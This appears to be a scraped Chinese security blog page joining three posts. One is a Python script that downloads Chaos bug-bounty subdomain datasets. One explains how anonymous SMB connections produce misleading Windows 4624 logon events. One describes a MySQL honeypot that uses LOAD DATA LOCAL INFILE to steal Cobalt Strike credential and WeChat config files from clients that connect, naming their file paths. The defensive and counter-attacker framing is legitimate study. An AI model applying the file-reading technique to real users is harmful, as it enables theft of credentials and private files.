done3.chaospy脚本已做了大概修改,优化延迟扫描时间和报错#!/usr/bin/python3import requestsimport time,os,argparse #ColorsBlack = "\033[30m"Red = "\033[31m"Green = "\033[32m"Yellow = "\033[33m"Blue = "\033[34m"Magenta = "\033[35m"Cyan = "\033[36m"LightGray = "\033[37m"DarkGray = "\033[90m"LightRed = "\033[91m"LightGreen = "\033[92m"LightYellow = "\033[93m"LightBlue = "\033[94m"LightMagenta = "\033[95m"LightCyan = "\033[96m"White = "\033[97m"Default = '\033[0m' banner= """ %s ________ ____ / ____/ /_ ____ _____ _____/ __ \__ __ / / / __ \/ __ `/ __ \/ ___/ /_/ / / / / / /___/ / / / /_/ / /_/ (__ ) ____/ /_/ / \____/_/ /_/\__,_/\____/____/_/ \__, / /____/ %s Small Tool written based on chaos from projectdiscovery.io %s https://chaos.projectdiscovery.io/ %s *Author -> Moaaz (https://twitter.com/photonbo1t)* %s \n """%(LightGreen,Yellow,DarkGray,DarkGray,Default) parser = argparse.ArgumentParser(description='ChaosPY Tool') parser.add_argument('-list',dest='list',help='List all programs',action='store_true')parser.add_argument('--list-bugcrowd',dest='list_bugcrowd',help='List BugCrowd programs',action='store_true')parser.add_argument('--list-hackerone',dest='list_hackerone',help='List Hackerone programs',action='store_true')parser.add_argument('--list-intigriti',dest='list_intigriti',help='List Intigriti programs',action='store_true')parser.add_argument('--list-external',dest='list_external',help='List Self Hosted programs',action='store_true')parser.add_argument('--list-swags',dest='list_swags',help='List programs Swags Offers',action='store_true')parser.add_argument('--list-rewards',dest='list_rewards',help='List programs with rewards',action='store_true')parser.add_argument('--list-norewards',dest='list_norewards',help='List programs with no rewards',action='store_true')parser.add_argument('--list-new',dest='list_new',help='List new programs',action='store_true')parser.add_argument('--list-updated',dest='list_updated',help='List updated programs',action='store_true') parser.add_argument('-download',dest='download',help='Download Specific Program') parser.add_argument('--download-all',dest='download_all',help='Download all programs',action='store_true')parser.add_argument('--download-bugcrowd',dest='download_bugcrowd',help='Download BugCrowd programs',action='store_true')parser.add_argument('--download-hackerone',dest='download_hackerone',help='Download Hackerone programs',action='store_true')parser.add_argument('--download-intigriti',dest='download_intigriti',help='Download intigriti programs',action='store_true')parser.add_argument('--download-external',dest='download_external',help='Download external programs',action='store_true')parser.add_argument('--download-swags',dest='download_swags',help='Download programs Swags Offers',action='store_true')parser.add_argument('--download-rewards',dest='download_rewards',help='Download programs with rewards',action='store_true')parser.add_argument('--download-norewards',dest='download_norewards',help='Download programs with no rewards',action='store_true')parser.add_argument('--download-new',dest='download_new',help='Download new programs',action='store_true')parser.add_argument('--download-updated',dest='download_updated',help='Download updated programs',action='store_true') args = parser.parse_args() os.system('clear')ls = args.listlist_bugcrowd = args.list_bugcrowdlist_hackerone=args.list_hackeronelist_intigriti=args.list_intigritilist_external=args.list_externallist_swags=args.list_swagslist_rewards=args.list_rewardslist_norewards=args.list_norewardslist_new=args.list_newlist_updated=args.list_updated download = args.download download_all= args.download_alldownload_bugcrowd = args.download_bugcrowddownload_hackerone=args.download_hackeronedownload_intigriti=args.download_intigritidownload_external=args.download_externaldownload_swags=args.download_swagsdownload_rewards=args.download_rewardsdownload_norewards=args.download_norewardsdownload_new=args.download_newdownload_updated=args.download_updated print (banner) def getdata(): url = "https://chaos-data.projectdiscovery.io/index.json" insuer = True while insuer: try: source= requests.get(url) print("爬取完毕!") insuer = False except: print("存在延迟!") time.sleep(10) return source.json() def info(): new = 0 hackerone = 0 bugcrowd= 0 intigriti = 0 external = 0 changed = 0 subdomains = 0 rewards= 0 norewards= 0 swags= 0 for item in getdata(): if item['is_new'] is True: new += 1 if item['platform'] == "hackerone": hackerone +=1 if item['platform'] == "bugcrowd": bugcrowd += 1 if item['platform'] == "intigriti": intigriti += 1 else: external += 1 if item['change'] != 0: changed +=1 subdomains = subdomains +item['count'] if item['bounty'] is True: rewards += 1 else: norewards += 1 if 'swag' in item: swags +=1 print(White+"[!] Programs Last Updated {}".format(item['last_updated'][:10])) print(LightGreen+"[!] {} Subdomains.".format(subdomains)) print(Green+"[!] {} Programs.".format(len(getdata()))+Default) print(LightCyan+"[!] {} Programs changed.".format(changed)+Default) print(Blue+"[!] {} New programs.".format(new)+Default) print(LightGray+"[!] {} HackerOne programs.".format(hackerone)+Default) print(Magenta+"[!] {} Intigriti programs.".format(intigriti)+Default) print(Yellow+"[!] {} BugCrowd programs.".format(bugcrowd)+Default) print(LightGreen+"[!] {} Self hosted programs.".format(external)+Default) print(Cyan+"[!] {} Programs With Rewards.".format(rewards)+Default) print(Yellow+"[!] {} Programs Offers Swags.".format(swags)+Default) print(LightRed+"[!] {} No Rewards programs.".format(norewards)+Default) def down(): print(download) for item in getdata(): if item['name'] == download: print(LightGreen+"[!] Program Found."+Default) print(Cyan+"[!] Downloading",download, "..."+Default) url = item['URL'] resp = requests.get(url) zname= download+".zip" zfile = open(zname, 'wb') zfile.write(resp.content) zfile.close() print(LightGreen+"[!] {} File successfully downloaded.".format(zname)+Default) def list_all(): print(White+"[!] Listing all Programs. \n"+Default) for item in getdata(): print (Blue+item['name']+Default) def bugcrowd(): print(Yellow+"[!] Listing Bugcrowd Programs."+Default) for item in getdata(): if item['platform'] == "bugcrowd": print (Yellow+item['name']+Default) def hackerone(): print(White+"[!] Listing HackerOne Programs."+Default) for item in getdata(): if item['platform'] == "hackerone": print (White+item['name']+Default) def intigriti(): print(Magenta+"[!] Listing intigriti Programs."+Default) for item in getdata(): if item['platform'] == "hackerone": print (Magenta+item['name']+Default) def external(): print(Cyan+"[!] Listing External Programs."+Default) for item in getdata(): if item['platform'] == "": print (Cyan+item['name']+Default) def swags(): print(LightGreen+"[!] Listing Swag Programs."+Default) for item in getdata(): if 'swag' in item: print (LightGreen+item['name']+Default) def rewards(): print(Cyan+"[!] Listing Rewards Programs."+Default) for item in getdata(): if item['bounty'] == True: print (Cyan+item['name']+Default) def norewards(): print(Red+"[!] Listing NORewards Programs."+Default) for item in getdata(): if item['bounty'] == False: print (Red+item['name']+Default) def new(): print(LightGreen+"[!] Listing New Programs."+Default) for item in getdata(): if item['is_new'] == True: print (LightGreen+item['name']+Default) def changed(): print(Cyan+"[!] Listing Updated Programs."+Default) for item in getdata(): if item['change'] != 0: print (Cyan+item['name']+Default) def all_down(): for item in getdata(): print(Blue+"[!] Downloading {} ".format(item['name']),end="\r"+Default) resp = requests.get(item['URL']) zname= item['name']+".zip" zfile = open(zname, 'wb') zfile.write(resp.content) zfile.close() print(LightGreen+"[!] All Programs successfully downloaded."+Default) def bc_down(): for item in getdata(): if item['platform'] == "bugcrowd": print(Yellow+"[!] Downloading {} ".format(item['name']),end="\r"+Default) resp = requests.get(item['URL']) zname= item['name']+".zip" zfile = open(zname, 'wb') zfile.write(resp.content) zfile.close() print(LightGreen+"[!] All BugCrowd programs successfully downloaded."+Default) def h1_down(): for item in getdata(): if item['platform'] == "hackerone": print(White+"[!] Downloading {} ".format(item['name']),end="\r"+Default) resp = requests.get(item['URL']) zname= item['name']+".zip" zfile = open(zname, 'wb') zfile.write(resp.content) zfile.close() print(LightGreen+"[!] All HackerOne programs successfully downloaded."+Default) def intigriti_down(): for item in getdata(): if item['platform'] == "intigriti": print(Magenta+"[!] Downloading {} ".format(item['name']),end="\r"+Default) resp = requests.get(item['URL']) zname= item['name']+".zip" zfile = open(zname, 'wb') zfile.write(resp.content) zfile.close() print(LightGreen+"[!] All intigriti programs successfully downloaded."+Default) def external_down(): for item in getdata(): if item['platform'] == "": print(White+"[!] Downloading {} ".format(item['name']),end="\r"+Default) resp = requests.get(item['URL']) zname= item['name']+".zip" zfile = open(zname, 'wb') zfile.write(resp.content) zfile.close() print(LightGreen+"[!] All External programs successfully downloaded."+Default) def new_down(): for item in getdata(): if item['is_new'] is True: print(Cyan+"[!] Downloading {} ".format(item['name']),end="\r"+Default) insuer = True while insuer: try: resp = requests.get(item['URL']) print("爬取完毕") insuer = False except: print("存在延时!") time.sleep(5) zname= item['name']+".zip" zfile = open(zname, 'wb') zfile.write(resp.content) zfile.close() print(LightGreen+"[!] All New programs successfully downloaded."+Default) def updated_down(): for item in getdata(): if item['change'] != 0: print(Blue+"[!] Downloading {} ".format(item['name']),end="\r"+Default) resp = requests.get(item['URL']) zname= item['name']+".zip" zfile = open(zname, 'wb') zfile.write(resp.content) zfile.close() print(LightGreen+"[!] All Updated programs successfully downloaded."+Default) def swags_down(): for item in getdata(): if 'swag' in item: print(LightYellow+"[!] Downloading {} ".format(item['name']),end="\r"+Default) resp = requests.get(item['URL']) zname= item['name']+".zip" zfile = open(zname, 'wb') zfile.write(resp.content) zfile.close() print(LightGreen+"[!] All Swags programs successfully downloaded."+Default) def rewards_down(): for item in getdata(): if item['bounty'] is True: print(Cyan+"[!] Downloading {} ".format(item['name']),end="\r"+Default) insuer = True while insuer: try: resp = requests.get(item['URL']) print("爬取完毕") insuer = False except: print("存在延时!") time.sleep(5) zname= item['name']+".zip" zfile = open(zname, 'wb') zfile.write(resp.content) zfile.close() print(LightGreen+"[!] All Bounty programs successfully downloaded."+Default) def norewards_down(): for item in getdata(): if item['bounty'] is False: print(LightRed+"[!] Downloading {} ".format(item['name']),end="\r"+Default) resp = requests.get(item['URL']) zname= item['name']+".zip" zfile = open(zname, 'wb') zfile.write(resp.content) zfile.close() print(LightGreen+"[!] All Norewards programs successfully downloaded."+Default) def main(): info() if download is not None: down() if download_all : all_down() if ls : list_all() if list_bugcrowd: bugcrowd() if list_hackerone: hackerone() if list_external: external() if list_swags: swags() if list_rewards: rewards() if list_norewards: norewards() if list_new: new() if list_updated: changed() if download_bugcrowd: bc_down() if download_hackerone: h1_down() if download_intigriti: intigriti_down() if download_external: external_down() if download_swags: swags_down() if download_rewards: rewards_down() if download_norewards: norewards_down() if download_new: new_down() if download_updated: updated_down() if __name__ == '__main__': main()0x07 最后建议在 Digital Ocean 或 vultr 等 VPS 系统上运行这些程序,启一个后台线程即可,建议使用tmux的后台功能 这样扫描到重复漏洞会非常少的,也会更加容易获取赏金,将更多的关注新资产漏洞 资产侦察 资产收集、端口扫描,去重检测,存活探测,漏洞扫描,全自动化,结果通知,全部自动化了,即使睡觉也在挖洞
-
SMB登录事件排查经验分享
1. 概述1.1 案例先来看两张图: 看到这两张图的第一印象应该是这是一个成功的登陆,其类型为3,代表网络登陆,4624表示成功登陆,可能大部分人都是如此认为。 那么实际上呢?这里面是存在一定歧义的,今天给大家同步一下这里面的详细细节。 1.2 原理当用户使用SMB 协议连接时,在提示用户输入密码之前,其会使用anonymous用户(也就是匿名用户)进行 SMB 网络连接,一旦网络将被记录为成功连接。其有以下几个条件会导致产生这条日志: 登陆用户为anonymous 登录进程为NTLMssp 使用协议为NTLM V1 登陆协议为SMB 2. 测试2.1 SMB连接失败情况2.1.1 找不到网络名/拒绝访问直接使用net use发起一个针对不存在的aaa$的连接,会报错找不到网络名,使用net use也可以看到其连接并没有成功: 但是我们来看看日志,可以看到其产生了一条4624类型3的成功登陆的日志,这个仅仅表示使用anonymouse用户成功登录网络 使用正确的目录路径,但不输入用户会报错拒绝访问,该状态同样会导致一个匿名用户的登录成功 类型3 2.1.2 用户名或密码不正确使用不正确的账密登录时,会报错用户名或密码不正确。 这种情况在日志中就不会出现匿名登录登录成功日志,而是直接显示4625日志,当然也显示了登录的用户名。 2.2 SMB登录成功如果使用正确的账密进行登录的话在日志中的表现是如何呢? 除类型3的登录成功以外,还会有4776(验证凭据)和4672(登录权限分配)的shijian 3. 总结当攻击者使用SMB进行连接时,若访问路径不存在或账号不存在时将产生anonymous用户(匿名用户)的登录类型3的4624日志,并非代表机器失已经被登录。 4624不一定是攻击者登陆成功,要结合ip字段、targetuser字段、还有user等诸多字段并且看日志上下文,system授权有时候也会产生4624的高告警(上述字段仅表示含义,具体字段名称复杂记不清)
-
Mysql蜜罐读取电脑配置文件
关于Mysql蜜罐的具体技术细节,网上文章介绍的太多了,大家可以自己从网上搜索文章,我写一个简介吧:mysql中有一个load data local infile函数能够读取本地文件到mysql数据库中。当攻击者用爆破mysql密码的扫描器扫描到我们的mysql并连接上的时候(注,这里我纠正一下,只要连接一下蜜罐mysql,就可以被蜜罐读取到本地配置文件,不需要提供正确的用户名密码),客户端(攻击者)会自动发起一个查询,我们(服务端)会给与一个回应,我们在回应的数据包中加入load data local infile读取攻击者的本地文件到我们数据库中,达到反制的目的。(以下图片来源于网络搜索) cs的配置文件明文存储密码只要是使用cs客户端连接过cs服务端的电脑,cs客户端都会在固定的文件夹下生成一个.aggressor.prop配置文件。如果是Windows系统,那么文件位置是:C:\Users\Administrator\.aggressor.prop,这个配置文件里面就包含了cs远控的ip地址、端口、用户名及密码,而且都是明文的!如下图所示: 每次打开cs都会显示出曾经登录后的ip地址、端口、用户名、密码等信息,这些信息都是存储在本地.aggressor.prop文件中的,大致内容如下图所示: 因此我们得到结论,搭建一个mysql蜜罐,一旦攻击者连接这个蜜罐,那么这个蜜罐利用msyql本地文件读取漏洞去自动读取C:\Users\Administrator\.aggressor.prop这个文件内容,蜜罐就可以成功得到攻击者的cs服务端ip地址、端口、用户名密码。 搭建环境实验成功为了验证一下上述猜测,还是要实战测试一下的,从github上找到一个python写的mysql蜜罐脚本,本地简单修改一下,将文件读取的路径改为C:\Users\Administrator\.aggressor.prop,将脚本运行起来。如下图所示,一个监听本地端口3306的mysql蜜罐就搭建好了。 为了模拟红队人员连接mysql的行为,使用navicat远程连接一下这个蜜罐的ip地址。(再次强调一下,无需知道mysql的用户名密码即可,输入一个错误的用户名密码,mysql蜜罐同样可以读取本地文件) 如下图所示,mysql蜜罐在当前目录的日志文件中给出base64加密后的cs配置文件内容。 Base64解密之后结果如下: · 成功使用蜜罐获取到的ip地址、端口、用户名及密码连上cs服务端(以下图片来源于网络) Windows下,微信默认的配置文件放在C:\Users\username\Documents\WeChat Files\中,在里面翻翻能够发现 C:\Users\username\Documents\WeChat Files\All Users\config\config.data 中含有微信IDC:\Users\backlion\Documents\WeChat Files\All Users\config\config.data